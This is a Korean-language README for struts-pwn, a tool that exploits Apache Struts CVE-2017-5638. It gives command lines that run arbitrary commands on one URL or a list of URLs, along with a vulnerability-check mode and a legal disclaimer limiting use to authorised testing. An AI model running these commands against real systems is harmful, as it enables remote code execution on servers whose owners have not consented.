struts-pwn

Apache Struts CVE-2017-5638을 위한 익스플로잇

사용법

단일 URL 테스트

python struts-pwn.py --url 'http://example.com/struts2-showcase/index.action' -c 'id'

URL 목록 테스트

python struts-pwn.py --list 'urls.txt' -c 'id'

단일 URL에 취약점 존재 여부 확인

python struts-pwn.py --check --url 'http://example.com/struts2-showcase/index.action'

URL 목록에 취약점 존재 여부 확인

python struts-pwn.py --check --list 'urls.txt'

요구 사항

• Python2 또는 Python3
• requests

법적 고지

이 프로젝트는 교육 및 윤리적 테스트 목적으로만 제작되었습니다. 사전 상호 동의 없이 대상을 공격하기 위해 struts-pwn을 사용하는 것은 불법입니다. 모든 해당 지역, 주 및 연방 법률을 준수하는 것은 최종 사용자의 책임입니다. 개발자는 어떠한 책임도 지지 않으며, 이 프로그램으로 인한 오용이나 손해에 대해 책임을 지지 않습니다.

라이선스

이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다.

저자

Mazin Ahmed

• 웹사이트: https://mazinahmed.net
• 이메일: mazin AT mazinahmed DOT net
• 트위터: https://twitter.com/mazen160
• 링크드인: http://linkedin.com/in/infosecmazinahmed